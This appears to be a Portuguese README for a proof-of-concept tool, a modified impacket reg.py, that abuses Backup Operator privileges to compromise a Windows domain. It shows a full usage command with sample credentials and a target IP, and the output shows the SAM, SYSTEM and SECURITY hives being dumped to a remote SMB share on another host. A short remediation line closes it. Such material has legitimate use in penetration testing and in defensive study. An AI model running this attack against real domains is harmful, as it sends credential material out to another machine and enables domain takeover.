Comprometimento de Domínio via Backup de Registry do Backup Operator

Um POC simples que abusa dos privilégios de Backup Operator para despejar remotamente os hives SAM, SYSTEM e SECURITY.

Créditos da pesquisa:

• @filip_dragovic
• Portado do PoC para Windows de @mpgn

Uso

Esta prova de conceito é uma versão modificada do impacket/examples/reg.py e funcionará com a versão mais recente do impacket instalada. Todos os mecanismos de autenticação suportados pelo impacket funcionarão.

root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY

Remediação:

Trate o grupo de domínio Backup Operators como Administradores de Domínio e outros recursos de Tier 0